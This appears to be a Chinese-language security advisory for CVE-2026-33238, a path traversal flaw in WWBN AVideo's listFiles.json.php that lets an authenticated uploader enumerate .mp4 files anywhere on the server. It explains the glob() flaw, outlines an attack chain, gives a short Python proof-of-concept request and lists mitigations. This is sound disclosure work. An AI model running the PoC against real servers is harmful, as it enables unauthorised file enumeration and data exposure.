CVE-2026-33238 CVSS 4.3 中危

CVE-2026-33238: WWBN AVideo路径遍历漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33238

漏洞类型

路径遍历

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WWBN AVideo

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0版本之前，该平台的`listFiles.json.php`接口存在安全漏洞。由于未对POST参数`path`进行严格的目录限制，攻击者可利用该漏洞遍历服务器文件系统。该漏洞允许经过身份认证的上传者枚举服务器上任何位置的.mp4文件及其绝对路径，导致敏感信息泄露。

技术细节

该漏洞的核心在于WWBN AVideo 26.0之前版本中的`listFiles.json.php`接口未能正确处理用户输入。该接口接收POST参数`path`，并直接将其作为参数传递给PHP的全局文件匹配函数`glob()`。由于代码逻辑中缺失了对基础目录的强制检查，也未对路径遍历字符（如`../`或绝对路径`/`）进行过滤，具有“上传者”权限的认证用户可以构造包含任意绝对路径的POST请求。尽管该功能仅用于匹配`.mp4`后缀的文件，但攻击者可以通过递归遍历系统关键目录（如`/var/www`、`/home`等），枚举出服务器上所有视频文件的绝对路径。这使得攻击者能够发现位于Web根目录之外的私有媒体文件或敏感数据，造成严重的信息泄露。

攻击链分析

STEP 1

侦察与认证

攻击者识别目标为WWBN AVideo平台，并获取一个具有上传者权限的合法账户凭证。

STEP 2

发送恶意请求

攻击者向`listFiles.json.php`发送POST请求，将`path`参数设置为服务器绝对路径（如`/`或`/var/www`）。

STEP 3

路径遍历与枚举

服务器端`glob()`函数处理该路径，返回该目录下所有`.mp4`文件的完整路径。

STEP 4

信息收集

攻击者解析响应数据，获取敏感文件位置，并可能进一步尝试访问或下载这些文件。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

def exploit(target_url, session_cookie):
    """
    PoC for CVE-2026-33238: Path Traversal in listFiles.json.php
    Requires an authenticated session.
    """
    endpoint = f"{target_url}/listFiles.json.php"
    headers = {"Cookie": f"PHPSESSID={session_cookie}"}
    
    # Try to list files in the root directory
    data = {"path": "/"}
    
    try:
        response = requests.post(endpoint, data=data, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Success! Response from {target_url}:")
            print(response.text)
        else:
            print(f"[-] Failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Replace with actual target and session
    exploit("http://localhost/avideo", "valid_session_id")

影响范围

WWBN AVideo < 26.0

防御指南

临时缓解措施

建议立即升级AVideo至26.0或更高版本。如果无法立即升级，应通过Web应用防火墙（WAF）规则拦截对`listFiles.json.php`接口的异常请求，或者临时禁用该功能接口，同时在服务器操作系统层面配置文件访问控制列表（ACL），限制Web服务用户对非Web目录的读取权限。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表